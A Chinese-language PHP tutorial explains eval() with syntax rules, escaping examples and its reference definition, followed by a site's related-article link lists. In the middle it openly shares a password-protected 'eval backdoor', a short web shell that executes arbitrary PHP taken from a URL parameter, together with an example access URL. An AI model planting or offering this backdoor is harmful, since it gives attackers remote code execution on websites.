PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
php is_file()和is_dir()用于遍历目录时用法注意事项
Mar 02 PHP
无法在发生错误时创建会话,请检查 PHP 或网站服务器日志,并正确配置 PHP 安装(win+linux)
May 05 PHP
两级联动select刷新后其值保持不变的实现方法
Jan 27 PHP
php实现短信发送代码
Jul 05 PHP
php验证码实现代码(3种)
Sep 07 PHP
解析WordPress中的post_class与get_post_class函数
Jan 04 PHP
php微信公众号开发模式详解
Nov 28 PHP
PHP获取当前URL路径的处理方法(适用于多条件筛选列表)
Feb 10 PHP
php判断str字符串是否是xml格式数据的方法示例
Jul 26 PHP
php7安装mongoDB扩展的方法分析
Aug 02 PHP
PHP使用GD库制作验证码的方法(点击验证码或看不清会刷新验证码)
Aug 15 PHP
PHP简单实现记录网站访问量功能示例
Jun 06 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
PHP遍历XML文档所有节点的方法
2015/03/12 PHP
php中的钩子理解及应用实例分析
2019/08/30 PHP
PHP实现简单的协程任务调度demo示例
2020/02/01 PHP
Javascript typeof 用法
2008/12/28 Javascript
JS辨别访问浏览器判断是android还是ios系统
2014/08/19 Javascript
JavaScript的9种继承实现方式归纳
2015/05/18 Javascript
angularjs路由传值$routeParams详解
2020/09/05 Javascript
JS使用setInterval实现的简单计时器功能示例
2018/04/19 Javascript
学习jQuery中的noConflict()用法
2018/09/28 jQuery
Vue开发之封装上传文件组件与用法示例
2019/04/25 Javascript
使用Vue.js中的过滤器实现幂方求值的方法
2019/08/27 Javascript
JavaScript实现简易聊天对话框(加滚动条)
2020/02/10 Javascript
ES6中Set和Map用法实例详解
2020/03/02 Javascript
详解实现vue的数据响应式原理
2021/01/20 Vue.js
浅谈Python处理PDF的方法
2017/11/10 Python
python简单图片操作:打开\显示\保存图像方法介绍
2017/11/23 Python
对Python中type打开文件的方式介绍
2018/04/28 Python
Django 多语言教程的实现(i18n)
2018/07/07 Python
Python开发之Nginx+uWSGI+virtualenv多项目部署教程
2019/05/13 Python
python opencv 读取图片 返回图片某像素点的b,g,r值的实现方法
2019/07/03 Python
Python计算指定日期是今年的第几天(三种方法)
2020/03/26 Python
Django 解决distinct无法去除重复数据的问题
2020/05/20 Python
英国最大的正宗复古足球衫制造商和零售商:TOFFS
2018/06/21 全球购物
英国家庭和商业健身器材购物网站:Fitness Options
2018/07/05 全球购物
Java面试题汇总
2015/12/06 面试题
中职生自我鉴定范文
2013/10/03 职场文书
离婚协议书范本样本
2014/08/19 职场文书
端午节活动总结
2014/08/26 职场文书
会计学习心得体会
2014/09/09 职场文书
毕业证代领委托书
2014/09/26 职场文书
军训个人总结
2015/03/03 职场文书
2015年五一劳动节慰问信
2015/03/23 职场文书
浅谈PostgreSQL表分区的三种方式
2021/06/29 PostgreSQL
Vue3中的Refs和Ref详情
2021/11/11 Vue.js
html粘性页脚的具体使用
2022/01/18 HTML / CSS
使用CSS连接数据库的方式
2022/02/28 HTML / CSS